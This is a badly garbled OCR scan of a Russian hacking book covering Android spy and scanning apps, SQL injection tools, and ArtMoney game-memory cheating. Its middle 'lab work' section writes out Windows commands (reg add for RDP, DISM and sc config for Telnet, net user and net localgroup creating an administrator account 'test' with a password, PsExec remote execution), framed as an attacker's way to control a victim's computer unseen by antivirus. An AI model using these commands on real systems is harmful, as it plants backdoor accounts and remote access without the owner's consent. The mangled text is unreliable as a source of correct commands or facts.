M3MeHeHHs B cMapT(OH yIA MPeAOCTaBIEHHs MPaB root, BHOBb BEPHEMCS K pa3pelieH-
HOMY IPOIPaMMHOMY 00€eCIeUYeHHIO.

" Jins Toro 94roOBl UMETH NpEACTaBJieHHE 00 OCHOBHBIX MHCTPYMEHTAaX, MMEIOLIMXCS I
JIETaIBHOTO HCTIONB30BaHNsA B OQUIMAIBHEIX MCTOYHAKAX CMapT(OHa, MOXHO YCTaHO-
BuTh nporpammy Droid-CAT. I'maBHoe MeHIO npeAcTaBisieT coO0H yka3aTelb KaTeropHi
nporpamm (puc. 5.177).

SNIFFERS & Re

Puc. 5177 .- Puc. 5.178

B Kkaxoi KaTeropum eCTB - CITMCOK TIPOTpaMM. Hanpumep, s pasaena Sniffers &
Reconnaissance (puc.’5.178). Ilpu BBIOOpE MpOrpaMMBl M3 CIIMCKa BBI MOJMYYHMTE CO00-
IEHKE C €€ KPaTKHM OHHCAHMEM, H TyT jk€ MMEeeTCs KHOIKa — CChUIKa I Iepexoia B
Play Mapxer (puc. 5. 179). Ecim xe. porpaMma yCTaHOBIIEHa, KaK, HallpUMep, B HaIIeM
ciydae nporpamma Fing, To BBl Hosryaute o6braHOe yBenomienue Play Mapkera 06 3tom
U CMOXKETE €€ TYT e 3aIlyCTHTb.

B orHomennu Droid-CAT HENOHATHO TOJIBKO OIHO: VIS HPOrPaMMBI-CIIPBOYHHKA YK
6onmbHO HoNTO TipH paboTe OHa NMPOM3BOAMT CBOHM JeHCTBHA. UYTO OHa TaM prm'r?' He-
noHaTHO! CrvIneM 3TOT HEAOCTATOK Ha TO, YTO ITO 6era-3epcm Bee xe, nosropmwcx
IporpamMma otHIHANTEHO Pa3pelreHa.

W, BHOBB - Ccllerka OTNATUBIIMCH OT TeMBI, OYKBAJIHHO B IBYX CIIOBaX YIIOMSHEM elne
0 HaJIMYH{H NPOrpaMM-IINHOHOB. Y CTaHOBHB TaKylo Ha CBOH cMapTdoH, BB (X0o4eTcs Ha-
JIeAThCs) BCeraa Mmpocienure, rae Haxoaures Bam tenedoH. Ho, eciiu KTo-T0 yCTaHOBUT
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TaKylo [IpOrpaMMy BaM, OH Takoke MOJXKET MPOCIEANTh 3a BaMH, Moiy4ars (GoTo ¢ Bamiei
KaMepel, OCylIecTBUTh OnokupoBky. IlpuyeM mporpamMma MoeT OBITH yCTaHOBIIEHA
CKPBITHO, 3HAYKa BHHO He GY/IET, H BHI30B €€ Ha CMapThOHe OCYIIECTBIIAETCS TIPH BBOJIE
nmapons (HampuMep, HECYINeCTBYIOLIMM, 3aJaHHBI yCTAHOBHMBIIMM IPOTrpaMMy, HOMeEpP
tenedona). [Ipumeps! Takux nporpamM: Wheres My Droid, SeekDroid.

U3 paspemennsix, umerommxcs B Play Mapkere nporpamm, Gosbiioil WHTepec mpen-
cTaBlieT 3aMevarenbHas nporpamMMa SQLmapchik. Ilo kakoii-To mpu4mHe O Heil 3HAIOT
HemHorue. Ho 310 Momueiimuii HHCTpyMEHT Ul TECTUPOBaHHS CaTOB Ha BO3MOXKHOCTh
nposenerys SQL-unbpexipm (puc. 5.180). IloskcnepumeHTHpYIiTE C HEll CaMOCTOATENb-
HO. MBI ke 3aMeTHM, 4To IporpaMMa ABJIAeICs aHanoroM sHameHuTod SQLmap, cyine-
cTByfomeit kak ;11 Windows, Tak u s Linux. Paso6pareca ¢ SQLmapchik Bam Gymer
OYEHb JIETKO, IOTOMY YTO IIPUIAaraTh OCOOBIX YCIINM JIA OPraHM3aLy UCIBITATEIbHOIO
creHna He mnpupercd. Ilpm 3amycke ckaHMpOBaHMA IIPOrpaMma cpasy K€ INpenjiaraer
CCHUIKY Ha CalT, MMEIOIINH XapaKTepHbIE TUIIBI YA3BUMOCTEM, NOIXOSMINKX I/ IIpUMe-
HeHuAa SQL-HHBeKIHiA.

«;;qimapchilc

Bomn from the ashes of Look@LAN
. Network Monitor, Fing is the uliimate
. toolkit for network management

Puc. 5.179 Puc. 5.180

Ecnu Bce ke B pe3ysbTaTe OMBITOB NOCJIE YCTAHOBKH HENIPOBEPSHHOrO MPUIIOKEHUs (HE
u3 Play Mapkera) Bam He yaeTcs HUKaK ero yAatuTh (6e3 nepenpommBK) — IIOCMOT-
pHTe, HEe YKa3aHO JIM 3TO npuioxeHue B paszene Hacrpoiikn | BesonmacnocTs | Aqmn-
HHCTPATOPBI YCTPOHCTBA, IIPH HEOOXQAMMOCTH OTKIIFOUHMTE €ro TaM, [OCJe Yero BHOBb
nonpo6yiite yAaIuTb.
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5.4. labopaTtopHas paboTta ans anpobuposaHus
CTaHpapPTHbLIX CPeaAcTB onepalMoOHHON CUCTEMbI

BrynounTs ynanenHoe ynpaBlieHHE KOMITBIOTEPOM MOXHO 3a CYET BHEIPEHHs XXEpTBe
COOTBETCTBYIOIIEr0 MPOrPpaMMHOr0 Koja Mo clieqylomeil cxeme: 3apakeHde, HalpuMep,
TIPOMCXO/IMT HA KakoM-IH0O (uIMHroBoM caiite, 06 3TOM Mbl HEMHOTO pacCKa3aH
B 2n1a6e 1, 3aTeM cpabaTsIBaeT CLEHAPHiA, BHOCAINMIA H3MEHEHHS Ha KOMIIBIOTEpE.

B 3ToM I1aHe GoJbHIHIA HHTEpeC MPEICTABIISIOT IKCIVIOATHL. XaKepsl Cymnepkiacca caMu
numIyT ceGe MporpaMMel jisi NPOHMKHOBEHHA M yTIpaBJieHHs KoMmbioTepoM. HckyccTBo
HalMCaH¥s YKCIJIONTOB HE BXOJMT B TEMAaTHKY HACTOSIIEH KHUTH.

Ho, aeiio elmie ¥ B TOM, 9TO /I TOTO YTO6bI Ha KOMITBIOTEPE JKEPTBHI BHECTH HEOOXOTH-
MEIE XaKepy H3MEHEHHS, KaK TIpaBHJIO, U He TpeOyeTcs HHKaKHUX 0coOBIX Mporpamm, Ko-
TOpBIE HaM ¢ BaMH ObUIO GBI MHTepecHO ceifuac pa3oOpars. OCHOBHas LieJIb XaKepa —
BCEe CIENaTh N0 MAaKCHMyMY CTaHJApTHBIMH CPeACTBaMH ONEPALIOHAOH CHCTEMBI Tak,
9T06bI €ro-BMeIaTe/IbcTBO He 00HApY KUBAJH AaHTHBHPYCHBIE IPOrPaMMBIL.

B KoHTekCTe CKa3aHHOrO PacCMOTPMM MPOCTOM, HO yOemuTenpHbI pUMEP: Kak
B Windows BRIIOHaeTCA\BBIKIIOYAETCS yAaJieHHOe yrpapJieHHe pabo4uM CTOJIOM M3 KO-
MaHJIHOro daiina (HyXHO 00NanaTh aIMUHHCTPATHBHBIMH NIPaBaMH, B TOJDKEH OBITH OT-
KJIFOYEH KOHTPOJIb YUeTHBIX 3armcen)

3a 3Ty (bymcumo OTBeuaeT KoY peectpa:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server

fDenyTSConnections

Brunouense ocyiecTrisercs Tak:

reg ‘add’ "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG DWORD /4 0 /f o
BronoveHue nponsnomrmﬁ CIIEIYIOIMM 00pa3oM:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Termlnal Server" /v
fDenyTSConnections /t REG_DWORD /d 1 /f

Bcé! HuKakix 0coGBIX nporpamMM. A €CiH euie TOracHTh X0 CTAHAApTHEIM 0bpasoM
(HanpuMep, KOMaHgPH @echo off); TO HUKTO HE 3aMETUT Ha SKPaHE MOMEHT H3MEHEHMS

0 ycTapesmme Bepcur peanusaiuy RDP mipu Jkesianuy 1oJib30Ba-
TeNs COXPAaHSTH YHeTHBIC JaHHEIe, BKTOYas naponb B ¢aiine default.rdp (daiin umeer
arpubyThl CACTEMHOrO M CKPBITOro0). /i TOro 9ro0k! "BHITACKUBATE" 3T AAHHBIE, XaKep
TIPUMEHSUI COOTBETCTBYIoMMe nporpammel. Hampumep, B Cain 0 CHX mOp moUeMy-To
npuCyTcTBYeT HHCTpyMeHT Remote Desktop Password Decoder mis nonmyvesus naponeit
U3 TaKuX 3anmceii (puc. 5.181).

Ho, B coBpemenHbix Bepcusx RDP naponm B rdp-q)ayme yXKe He XpPaHATCH, UX Clexyer
HCKAaTh B CHCTEMHBIX (aiinax. '

[Ipomomxga TeMy O TOM, Kak CTaHJApTHBIMM CPEACTBAMHM MOXHO "paboraTs" Ha XocTe-
KepTBe, B KauecTse 1abopaTopHO# paboTHl Ha KOMITBIOTEPE C ONEPALMOHHOM CHCTEMOM
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Windows 8, ycraHoB/ieHHO# 10 ymMom4anuIo (a 3Ha4MT, Ge3 komnonenTa Telnet-cepsep),

nonpoOyifTe BHITIONHUTD CleAyIoLee:

1. Cozpmaiite KoMaHAHBIH (aiin Takoro comepxaHus (MOXXHO OOBMHBIM BJIOKHOTOM, a

3aTeM IeperMeHOBaTh ero B testl.bat):

DISM /Online /Enable-Feature /FeatureName:TelnetServer

' pause

Processor Info Alt+]

Disconnect.. Akt+D

= o Route Table Alt+R
& Cached Passwords TepfUdp Tables AP

i Protected Storage

g LSA Secrets Base64 Password Decoder Alt+6

‘ gs Wireless Passwords Access Database Password Decoder Alt+A
1E 7/8/9 Passwords Cisco Type-7 Password Decoder alt+7
Windows Mail Passwords Cisco ¥PN Client Password Decoder  Alt+Y
. Dialup Passwords VNC Password Decoder Alt+N
| - Edit Boxes Hash Calculator Alt+C
: g Enterprise Manager RSA SecurID Token Calculator Alt+5

% Credential Manager Remote Ceskiop ¢ Dacoder
| {8 windows vault Syskey Decoder Alt+K
WPA PSK Calculator Alt+L
Puc. 5.181

2. VY6ennrech, uro kommoHeHT Telnet-cepep AeiictBurensHo orcyrctByer (Ilamens
ynpasjenns | IIporpaMmsl B koMOoHeHTHI | BkiouenHe HIH OTK/IIOYEHHE KOM-
nonenToB Windows).

3. IlpousBeuTe 3amycK IOITOTOBIEHHOI0® KOMAHIHOrO (aiina testl.bat oT uMeHH aj-

MHHHCTpPATOpA.

4. BHOBb mpoBepbTe (CM. II. 2) HaMuMe yctaHOBKHM Telnet-cepsepa. Brl yBumure, 4to
TEenephb OH YK€ YCTAHOBJIEH.

5. Y6enurecs, gto cmyx6a Telnet ve 3amymena (Ilamess ynpapienns | ATMEHBCT-
paposanne | Cayx6ni). To ects, B konoHke Cocrosane HanpoTus ciayxOb1 Telnet
Her 3amucH "PaGoraer".

6. Cospaiite KoOMaHIHbIH (aiit Takoro copepxaHus (Ha30BUTE ero test2.bat):

'sc corifig tlntsvr start=auto

net start Telnet
pause

7. IlpousBenuTe 3amycK MNOArOTOBIEHHOro KOMaHAHOro (aiina test2.bat ot

aJMHHHCTpATOopa.

8. Y6emurecs (xak B 1. 5), uto ciyx6a Telnet 3amycTrnace.

‘ﬁMGHPI
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9. Cos3paifte KOMaHIHBINH (paiii TaKoro conepanus (HazoBHTe. ero test3.bat): 3
chcp 1251

10.

11.

12.

13.

net user test 87654321 /add

net localgroup AmmHUCTPATOPH test /add
net localgroup TelnetClients test /add
pause’

Tpoussemwre 3amyck NOATOTOBIEHHOTO KOMaHAHOrO daiina test3.bat or mmeHH
afIMMHHCTpaTOpA.

Yrobs1 ybemuTRCA, 9TO BHI 3aBEJH TOJIB30BATENA test ¢ maponem 87654321, Bxons-
mero B rpynnsi AimaaactpaTopbl U TelnetClients. HaGepute B oxHe BbInOJIHATS -

CHaYaJia CIIe{yrOIlyI0 KOMaH/y:

control userpasswords2

H 3aTem xomaHay:

lusrmgr.msc

C moboro odpyz0z0 xoMIbiOTEpa Bamei CeTH, Ha KOTOPOM YCTaHOBJIECH KIIHEHT
Telnet, ocymecTBuTe BXOJ Ha Baml KOMITBIOTEP, [Ie BBl IPOM3BOMMIM Bee mard 1-11.

Jlns gero B okHe BuimonHaHTH HaGepuTe telnet. Ilocnie MOSBIICHHS NpHrIameHus
KinenTa Telnet HaGepuTe KOMaHy:

open 192.168.0.200
EctectBenno, IP-anpec momken ObrTh Bamrero xocra (192.168.0.200 ykaszan npocto
IU1s1 IpEMepa), rie ycraHorieH Telnet-cepBep u 3aBeZieH NOIB30BaTeNb test.

Ha 3anpoc uMeHH U mapoisd BOWIWTE Ha YAAJIEHHbIH KOMIIBIOTEP ¢ HMEHEM test W ma-
ponem 87654321.

HaGepure xomanmy:

Help

BricBeTHTCSA CIIACOK HOCTYNHBIX KoMaHa. [lonpoOyiite monyauts cBeneHus ob yaa-
JICHHOM CHCTEMeE, 3a1aB KOMaH/y:

Systemifo

Hcnone3ys koMaHABI cd, dir, del, NOHYTeHNIECTBYHTe MO KaTajoraM yAAICHHOrO
KOMIIBIOTEpa, yAAJIMTe KAKOH-HHOYIb HeHY)KHBIH TEKCTOBBIH aiir.

Hcnonesys ymwmry PsExec (cumHTakcmc npueenen Ha crpanume http://technet.
microsoft.com/ru-ru/sysinternals/bb897553), BpmonuuTe KaKywo-mb0 porpamMmy
Ha yJIaJIeHHOM KOMIIBIOTEpE MO/ HMEHeM Nob3oBatens test. Hanpumep, Tak (mosto-
pum, [P-anpec 192.168.0.200 3nech ykazaH 114 ipuMepa, B A€HCTBUTENBHOCTH HAOJI-
eH OBITh aipec Bamlero KOMIbIOTePa, Ha KOTOPOM BHI BHITIONHSIH AeiicTeas 1-11):

bsexec \\192.168.0.200 -u test -p 87654321 ipconfig /all
Ionyawiocs?! Xopomo, nonpobyiiTe caMOCTOSTENRHO HMCHONB30BaTh Wit PsExec

KoY -c JyIi KONHPOBAHMS M BBIIONHEHHs JOGOTrO HeGONBIION0 HCHOTHSEMOro
daitna Ha yaneHHOM KOMITLIOTEpE.
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EcrtecTBenHo, Bee daiinsl test].bat, test2.bat, test3.bat B sxcnepumenTe MoxxHO 6BLIO
0o0BETMHUTE B OAWH, yOpaB KOMaHIEI pause, TpeOyeMble TONBKO MpH OTiIajaKe (Ha30-
BHTE ero test.bat u nonpoOyiiTe yNaleHHO BHEIPHT U BHIIONHUTE €r0 Ha TECTOBOH
yA3BHMOI CHCTEMe, KaK 3TO OIHCAHO paHee).

Takum 06pa3zoM, MOKHO OCYIIIECTBHTE HyXHbIH Xakepy HaGop JeiCTBHIA: CTaHIAPTHEIMH
KOMaHJIaMH YCTaHOBHTH JF000M KOMIIOHEHT, CO3/aTh IOJIb30BaTeNs M YAAICHHO OCyIIe-
CTBUTH 3adyMaHHBIE [€HCTBHA, HANPUMep IA Nepeadd BaKHBIX JaHHBIX. JTO OYEHb
CYIECTBEHHO, ITIOTOMY YTO Takie HaGopel He OOHapYKMBAIOTCS AHTHBMPYCHBIMH IPO-
rpaMMaMH Kak BPEAOHOCHBIH KOZX.

O ToM, KaK XaKep ¢ NOMOIIBI0 METOJIOB COLMATbHOMH HEDKEHEPHHM MOXET 3aCTaBHTb ben-
HOT'O M0/Ib30BaTelisd BHIIONHHTE CBOMMH PyKaMH NOAOOHBIE KOMaH/bI, MBI y)Ke YIIOMHHa-
T B 2naee 1. '

3ameruM elne, 4TO C LENbI0 HABPEAUTH 3OYMBIIUIEHHHK MOXET Takoke M3 KOMaHIHOM
crpoky "noxynuranuts" ¢ Tabmunamu NTFS. Hanpumep, ucrione3ys CTaHIAPTHYIO YTH-
quty cacls.exe (icals.exe, HauuHas ¢ Bepcun Windows Vista). Ho e Gymem naBats roro-
BBIX Pa3spyHAIOIINX PeLeNTOB.

Kcrats, ecii mociie TocemeHuii BparoM Banrero KOMIIBIOTepa y Bac "yrpoGueHs" Tab-
el NTFS (Master File Table — MFT, 3ammcu 31oii Tabmumel conepxkat Habopsl AECK-
pHITTOpoB ¢ HH(popMaimeil o ¢aiinax: UM, JaTa CO3NaHuA H MOAU(HUKALH, aTPHOYTHI
6€e30MaCHOCTH, CIIMCKM KJIACTEPOB, BBIAENEHHBIX (hailly), TO mepBoe, 9TO HYXHO cle-
NaTh, — 3TO COXPAaHWTH 00pa3 MCIOPYEHHOro MHUCKa (WM HYXHOTO pasiena), YTo6bI
B pe3yibTaTe yike BamuX SKCIEPHMEHTOB MO BOCCTAHOBJICHHIO HE YCYIyOHTh CHTYaLMIO
U He YHHYTOXXHTH CJIeApl Xakepa. B TakoM ciydae mociie HeyAadHBIX yXe BalluxX JeHCT-
BHif (Harpumep, ecnu yTwimToi chkdsk.exe, pemoHTHpYIOmE# UCK, BB CIIydaliHO TONb-
Ko nobaBHTE Xaoca) Bceria MOXKHO OTKAaTHThCA Hazan. Xopomo JuIi co3fiaHus "crernka”
HCTIOPYEHHOrO JWCKa MCHONb30BaTh mporpamMmy ghost (xoTs M TaM TOXke MOryT OBITH
TNOJBOJHBIC KAMHH: IOYATANTE METOMMKY MCHONb3oBamms ghost Ha GPT-paspenax’).
A nanee, yxe He 60fCh BHECTH HOBbI€ HEHCIIPAaBHOCTH, MOXKHO Npo0OOBaTh pa3iddHbIe
cpencrBa, HanpuMmep, DiskInternals NTFS Recovery — nporpamMy 111 BOCCTaHOBJICHHS
pa3fenoB ¥ JaHHBIX (puc. 5.182).

* %k *

B kauecTBe 00y4eHHs, 9TO6B MOHATH IIPUHIMITE ¥ O3HAKOMHUTHLCS ¢ HauboJee MomyJisp-
HBIMU B 3TOi 00GJACTH NpPOrpaMMaMH, MBI C BAMH PacCMOTpENH TOJbKO Hauboree u3-
BECTHBIE MPHEMBI NIPH OPraHU3aliH XaKepoM IPOHMKHOBEHMS Ha KOMIIBIOTEPHI HKEPTB.
A Benp ecTs eme Macca 6ojiee TOHKMX mpueMoB. M cpem HUX MOABIAIOTCA Bee Golee
HHTEpECHBIE H CIIOXKHBIE MeTombl. B 0cOGeHHOCTH 3TO KacaeTcs KOPHOPaTHBHBIX JaH-
HBIX, a He JJOMalIHKX KommbiotepoB. Hanpumep, Momudummpytor Samba, 9aro6s1 perum-
mupoBaTh 6a3y Active Directory u "nopaGorars" Hax Xom-QyHKIMAMH MapoJiei moJb30-
BaTenek.

! http://clientui-kb.symantec.com/kb//index?page=content&pmv=print&impressions=&viewlocale=
&id=DOCG6587.
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Puc. 5.182

B 3aximodeHue 3T0H MaBbl MOACKAKEM, UTO 0030p HauGosee MOMyIIIPHOTO HHCTPYMEH-
Tapusi, TpeOyeMOro Xakepy NPy OCYIIECTBICHMM CETEBBIX aTaK, MOXKHO IOCMOTPETh Ha
crpanutie "Top 125 Network Security Tools" (http:/sectools.org/).
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lNMporpammbl Ana B3nomMma urpyLuek —
BOBCE He UIrPyLIKU

JU1a wunocTpalyy BToMa KOMIBIOTEPHBIX HTpyIIeK, YTOObI HE yIUTh Bac IIOXOMY H HE
HacTpauBaTh NMPOTHB cebs BCceMOryImHe KOpIopaluH, Mbl He 6yieM paccMaTpuBaTh CIIO-
cobbl 06X0za 3aIUTHI UIP OT MX HEJIMLIEH3HOHHOTO HMcHolb3oBaHuA. Cama mno cebe 31a
TeMa yBJIEKaTeIbHa, HO FIOCKOJIbKY OHa OJIIDKe K IIpOrpaMMHPOBaHHIO, a MBI ceifdac HH-
TepecyeMCsi TOTOBBIM MPOrpaMMHBIM obecliedeHreM, TO HaM JoGombiTHee Oyaer pac-
CMOTpETH TAKYIO W3BECTHYIO IpOrpaMMy, Hanmpumep, kak ArtMoney, IIpH 3TOM, OISTh
PHCKys HaBJIedb FHEB TeX, KTO JIMCTAECT KHUTY 110 AMATOHAJH, HE YOCYKHMBIIHCH NOHATH
CMBICJI; TIPOYMTAB TEMY MOJHOCTHIO.

Ilporpamma ArtMoney uMeeTcs Ha PyCCKOM s3biKe, 00JiaffaeT OOIMMPHBIMHA BO3MOYKHO-
CTAMM, TIpHUeM ee nofHas Bepcus (ArtMoney Pro) me mopora, oboiinercsa He Gonbime
CTOMMOCTH KOPOOKH KOH(ET: [

Ho XaKep ADKE MOXET HE MCKATh B3JIOMaHHOH, nomocbymcunona:mnoﬁ, GecruiaTHOM
BEpCHH 3TOH NPOrpaMMBI (XOTA 3T0 H He TPYAHO). 3a9acTyIO isl ee HCTIONB30BaHMs JOC-
TaTouHO W OecrulatHoif Bepcum ArtMoney SE c caifra http://www.artmoney.ru
(puc. 6.1).

YkasaHHad nporpaMMa HyXHa Jyis "onaHa wurp. briBaet, 4o pa3paboTaMKu HaMyApAT
C YPOBHEM CIIOXKHOCTH HIDHI B OTAE/IBHBIX €e MOMEHTAX, TAK 9TO OGBIMHOMY 9€NOBEKY
UrpaTh CTAHOBHTCA HE B YZIOBOJILCTBHE, H 3TO JAaKe ero Kak-To HampsraeT. Jleno B ToM,
910, KaK NPaBWIO, JEOJM MCIOJB3YIOT KOMIBIOTEPHEIE HIPH C LENBIO paccaabuThes, a
HacTOAMMX "3aJpoTOB" (TaK Ha3hIBAIOT ()aHATOB UTP) HE TaK YXK M MHOTO. Hoa'mMy, KO-
ra BAPYT B MIPe TPYAHO MPOWTH KaKOW-TO MOMEHT, m‘poxn npmaermm'r "quTEI", T. €.
KOZIBI, IOMOTalomue B 00Xo/ie CIOKHOTO SMM30a 3a cUeT "JapMOBOro” MoNydYeHus Ka-
KUX-TH00 MpHBMWIETHii: HampuMep, Moclie BBOJA KOAAa HE KOHYAIOTCA MATpOHEL UMTHI
MCIIOJL3YIOT Pa3paboT4HKK B KadecTBe "IOKOB" MPH OT/ajIKe POrpamMm, 4To6sl He "na-
pHTBCA" caMHM, M Jlajiée OHH HEKHM CTPaHHBIM 00pa3oM CTaHOBSATCS M3BECTHHIMM IMPO-
KoMy Kpyry nons3oBatenei. Ho 9ro ke aenarts, koraa xoderTcs NPOHTH CIIOXKHEIA Kyco-
YeK Wrphl, a 9UTH BaM Heu3BecTHHI? BoT TyT 1 nomoraer ArtMoney.

Paccmorpum npumep. IpenmnonoskuM, 910 B MTpe y repost OCTaIock Beero 37 naTpoHoB, a
HYXHO eIe Of0JIeTh IPymITy GaHIUTOB, MPOTUB KOTOPEIX TAKOT'O 3amaca ABHO HE XBaTHT
(puc. 6.2). '
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Please read License agreement for ArtMoney SE v7 43 (FREEWARE) before you dowsnload #

) Download fom USA site
AriMoney SEv7.43 7 ;
WARE Download from EURGPE site
f';;‘:;; g;'.??_ﬁgz ;{2:‘2,3 ¢ 1,5Mb (fill russian version with the mamzal)
Download from USA site '
" | Download from EUROPE site

Puc. 6.1

Puc. 6.2

TapaynensHo Hawed urpe 3amyctum mporpaMMy ArtMoney u cpeau Beex MPOLIECCOB,
BBIMOJTHAIOMIAXCSA Ha KOMITBIOTEPE B HACTOSIIMI MOMEHT, BbIOEpeM Mpoliecc ¢ Ha3BaHUEM
UT'PhI, KOTOPYIO M HY»KHO 00MaHyTh (31ech 310 — Fallout: New Vegas) (puc. 6.3).

ITocne BEIGOpa meneBoro mpomecca Haxkmem kHonKy Mckarh, ¥ BBeEM ILieloe 3Have-
Hue 37 (puc. 6.4).
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Tabmmua PesynbTat WsMeHwTb Mpouecc Meckate [MoMowe

: New Vegas

rc nowmcka f [ar 1)

0011E258
0011E29C
0011E2E0
00122334 1
00122338
0012234¢C
0012238C

1001224F9 3
00122551 Mlesce 1 Saum

00129280 fflence 1 Saum |
Nionia2 i Bavin

[ Puc. 6.5

. . {
B pesynsrare momcka Ha IEpBOM IHare IporpaMMma HaWIeT HECKONBKO THICHY SYEEK
MAMATH, B KOTOPBIX coAepkuTcs 3HadeHue 37 (puc. 6.5).

Yro6sl Habine Cy3uTh 00JIAcTh MOMCKA CPEAH Y)Ke HalIeHHBIX sHeek, Hallia 3ajjadya —
HIOBTOPATH MPOLIeAypy HECKOJBKO pa3, IIpeIBapHTENILHO MEHsA 3HaUeHHe CUeTYMKa B Ca-
Moii mrpe. Jlis 3TOro. paccrpeinseM HECKOIbKO NAaTPOHOB TaK, 9TOOBI MX OCTajoCh,
Hanpumep, 26 (puc. 6.6).

ITonsaTHO, 4TO Ha BTOpOM Hiare B pexxiMe OTcesiTh MBI YK€ BBEJIEM 3TO HOBOE 3HaYCHHE
HoMcKa (26) cpenu paHee NPeABapUTEIbHO BHIOPaHHBIX g9eek (puc. 6.7).

B pe3ynbTaTe MOBFOPHOTO MOMCKA KOJMYECTBO OTOOPaHHEIX SY€EK, KOTOpEIe boliee BCcero

MOAXOAAT MOJ -Hale HCKOMOE 3HaYeHHe, 3HAYUTebHO YMEHBIIWIOCh — HMX OCTaJIoCh

yxe 218. Bynesm TOBTOpATS Tpoleaypy (TEPHOIMUECKH PAcCTpeNMBas 4acTh [aTpOHOB
¥l CHOBa TIPOM3BEJIA OTCeHBaHMe) JI0 TeX NOp, II0KA He OCTaHeTCs O/(Ha AUeiika, KOTopas U

OTBEYAET 3a Hy)KHbIA HAM CYETIHK TIATPOHOB OPYXHS. 31€Ch 3TO MPOH30IUIO HA YeTBEp-

ToM miare (puc. 6.8). '

Hy a ceiiqac npocto TpeGyeTcs 3aMeHHTh 3HaUeHHe JTOH STUeHKM MaMATH Hy>KHBIM HaM
(enkHyB MpaBo# KHOTKOM MBIIIH, BEIGepeM koMaHny M3MeRHTs) — pHC. 6.9.

IToxamuuyaeM U BBeOeM, K npimepy, 3HaYCHUE 777, a janee HaxMeM kHomky OK
(puc. 6.10).

KosmgecTBo NaTpoHOB B MTPe U3MEHHUTCA Ha TpeOyeMoe, T. €. ux craner 777 (puc. 6.11).
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Puc. 6.6
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Tabmua PesynbtaT Msmennte MMpouecc Mckatb [Momowb
==

40
0011E244 {lesce 1 Saun
’0‘01112259 l[e.m:»? 1 Saum
0011E29C

lesce 1 &
00122334 Tesce 1
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Bce npocto. U coBepmenHo ACHO, 9To Halcpyqrmars MOJKHO HE TOJIbKO IIaTPOHEI, HO B
ApyTHe MapaMeTpsl: HanpHMep, KOJIMIeCTBO TIpeZIMETOB JUIA TPOJIAXH, HEIPOGHBAEMOCTE
Gponm u 11p. Ho HyXHO cpa3sy 3aMeTHTh, 9TO He BCE HIPHI IOAAIOTCA 00MaHy MO BHIIIE
paccMoTpeHHO#H Meromuke. M nake BIIONHE BEPOSATHO, 9TO B ONHOM M TOM ke MTpe BaM
yaacTca "HAaKPYTHTB" CUeTIHK NAaTPOHOB KAKOrO-TO OJHOTO OPYXHs, a JUIA Pyroro opy-
XHs 3TOT (OKYC He ToAyuMTcs. BHIBaeT M Tak, 9TO NMPH COXPaHEHHMM HMIPHI "HaKpydeH-
HBIA" CYETUHK NATPOHOB BEPHETCA B HCXOJHOE 3HAYEHHE, H XOPOIIO, €CJIM IPH 3TOM BHI
y%ke y6rere Morydero "Gocca". Kpome Toro, B 60/IBIMMHCTBE CTyYaeB BpAZ JIH yAacTcs
0oOMaHyTb OHJIAHH-UTPHI.

Kazanocs GBI, BIOM HIp, Ja emle M C TakoM Jierkoif B MPHMEHEHMH IPOTPAMMOM, KaK
ArtMoney — 310 gerckue mrydkn. HO, mockonbKy Hama 1elth — 3HaKOMCTBO C pasHoO-
0o0pa3HEIM XaKepCKMM HMHCTPYMEHTapHieM, Mbl He CIyd4aifHO PacCMOTpeNH 3TOT CO(T.
IToHsTHO, YTO MpOrpaMMy, Kak BCIIOMOraTeNIbHbIH HHCTPYMEHT, MOXKHO HCIIOJIB30BaTh HE
TOJIBKO UIA WTP, HO M JUIA B3JIOMa B ONEPAaTHBHOM pEXHUME APYTHX, CEPBE3HBIX IIPO-
rpaMM. XOTA MOXeEM IO CEeKpeTy MONEIUTHCA: ONMH "MHPHEBIA" XaKep pacCKashiBall, KakK
¢ TIOMOIIIBIO 3TOA NPOTPAMMEI OH B3JIOMAJl TIPOrPAMMKY JUISl TECTHPOBAHHS, YIach B HH-
CTHTyTe, B pe3y/IbTaTe 4ero IoyJai OTIHIHbIe OLCHKH. A BEJIb CYMECTBYIOT Jaieko He
Takue Ge300maHbie nenm. Tak 9To BRIBOAEI Aenaiite caMu. Teneps, HaJeeMcs, BaM MOHs-
TeH rTyOHHHBIA CMBICT — JJIA 9€r0 MBI pacCMaTpUBAJIH POrpaMMKY, KOTOpasd,-Ka3ajloch
OBl, MpeTHa3HaYeHa A Jereii?!

ITonpoOyiite caMu B KadecTBe MPAaKTHYECKOrO 3aHATHA "BINIOMATh" KaKylo-TM6O mpo-
rpamMMy, He OTHOCSIIYIOCS K pa3spAAy HTPOBBHIX. o -
Eme 3amMeTrM: B npolLiecce B3JIOMa MIP HCTIONB3YeTCA Macca BCIIOMOTaTeNbHBIX VLA 3TOH
IIPOLEyPHI IPOTpaMM; KOTOPEIE CaMM 1o cefe ABIIOTCA 9yTh JTM He OCHOBHBIMH B Ha-
60pe HHCTPYMEHTOB XaKepa.

Y BoT mpocroii npuMep, noanonmonmﬁ HaM O3HAKOMHTBCA C elie OHOH HEeIUIOXOH Mpo-
rpammoit!

BceM m3BecTHO, 9T0 KOpriopais Sony JOCTaTOYHO MOIIHO 3alIWTWIA CBOHM MIPOBHIE
npuctaBku PlayStation ot B3nioma. TeM He MeHee, HeTOOphIe XaKkephl BCe PaBHO MPUAY-
MaJTH, KaK OOXOHThH 3alIUTy, €CIH YXK ¥ HE YMCTO IPOrpaMMHO, TO C HCIOIB30BaHHEM
MPOrpaMMHO-ANIIAPaTHEIX CpeAcTB. B yacTHOCTH, s PS3 ObLI0 CKOHCTPYHpPOBaHO yCT-
poiicTEO co cTpamHbM HMeHeM Cobra. He BHHKas B ieTai, TonbKo ckakeM, 9ro Cobra
BIIaHBAaeTCA B MIPOBYIO npHcTaBKy. M Bce O6hi Xopomo, Aa BOT He3aJadya — IIPUCTAaBKa
HO-TIPEKHEMY BCEe BpeMs HOPOBHT OOHOBHTH CBO€ IporpaMMHoe ofecriedeHne Ha caifte
Sony (Tak yx OB& y¢TpoeHa), KOTOpoe pa3pabOoTIHKH MIOCTOSHHO "IPaBAT", MBITASChH 3a-
UMMTHTBCS OT HOBRIX M3MBINUICHMH XakepoB. Tak BoT, 9To0BI "06MaHYTB" IPHCTABKY,
XaKephl CTalM HCHONB30BATH 3aMEYATENHHYIO IPOrpaMMy ¢ (YHKIMOHANOM IPOKCH
